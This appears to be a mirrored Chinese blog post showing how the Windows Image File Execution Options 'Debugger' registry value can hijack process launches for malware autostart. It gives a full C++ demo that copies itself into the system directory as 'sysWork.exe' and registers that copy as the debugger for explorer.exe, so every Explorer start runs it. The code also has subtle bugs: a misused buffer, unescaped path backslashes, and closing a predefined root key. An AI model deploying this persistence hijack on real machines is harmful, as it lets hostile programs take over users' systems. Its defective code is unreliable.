zoukankan      html  css  js  c++  java
  • 安全之路 —— 通过映像劫持实现文件自启动

    简介

    Windows映像劫持技术是微软提供给软件开发者调试使用的在注册表项,能够替换目标进程执行。但如果被病毒木马利用,便会成为触发式自启动的绝佳方式,所以修改映像劫持的操作行为也被反病毒软件列为极其危险的行为之一。

    • 实现映像劫持修改的注册表项为:
    1. HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionImage File Execution Options

    在项下添加新的子键,名为替代启动的目标进程名,例如“cmd.exe”,然后创建新的值项为“Debugger”,值为新的进程路径。

    C++代码样例

    ////////////////////////////////////////////////
    //
    // FileName : ifeoDemo.cpp
    // Creator : PeterZ1997
    // Date : 2018-5-5 18:44
    // Comment : Image File Hijacking Demo
    //
    ////////////////////////////////////////////////
    
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include <iostream>
    #include <windows.h>
    
    using namespace std;
    
    const unsigned int MAX_COUNT = 255;
    BOOL g_fileExistFlag = false;
    
    /**
     * @brief 封装字符型注册表操作
     * @param hRoot root key
     * @param szSubKey sub key after the root key
     * @param szValueName key name
     * @param szData key Data
     * @return Boollean Value
     */
    BOOL setStringValueToReg(HKEY hRoot, const char* szSubKey, const char* szValueName, const char* szValue)
    {
        HKEY hKey;
        long lRet;
        if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
        if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return true;
    }
    
    /**
     * @brief Main Function
     */
    int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
    {
        CHAR szSystemFilePath[MAX_COUNT] = "";
        CHAR szSelfFilePath[MAX_COUNT] = "";
        CHAR szExplorerPath[MAX_COUNT] = "";
        GetSystemDirectory(szSelfFilePath, sizeof(szSystemFilePath));
        strcat_s(szExplorerPath, sizeof(szExplorerPath), "C:\Windows\explorer.exe");
        strcat_s(szSystemFilePath, sizeof(szSystemFilePath), "\sysWork.exe");
        GetModuleFileName(NULL, szSelfFilePath, sizeof(szSelfFilePath));
        if (!CopyFile(szSelfFilePath, szSystemFilePath, true))
        {
            setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe", "Debugger", "");
            WinExec(szExplorerPath, SW_SHOW);
        }
        setStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe", "Debugger", szSystemFilePath);
        MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
        ExitProcess(0);
        return 0;
    }
  • 相关阅读:
    学习:Intents和Intent Filters(理论部分)
    天书夜读:从汇编语言到Windows内核编程笔记(1)
    学习:Intents和Intent Filters(实例部分)
    寒江独钓(1):内核数据类型和函数
    寒江独钓(2):串口的过滤
    学习:了解WDK目录
    Nginx 414 RequestURI Too Large 海口
    Ansible 批量修改密码 海口
    记一次node进程无法kill 问题 海口
    Vue学习心得新手如何学习Vue(转载)
  • 原文地址:https://www.cnblogs.com/csnd/p/12897012.html
Copyright © 2011-2022 走看看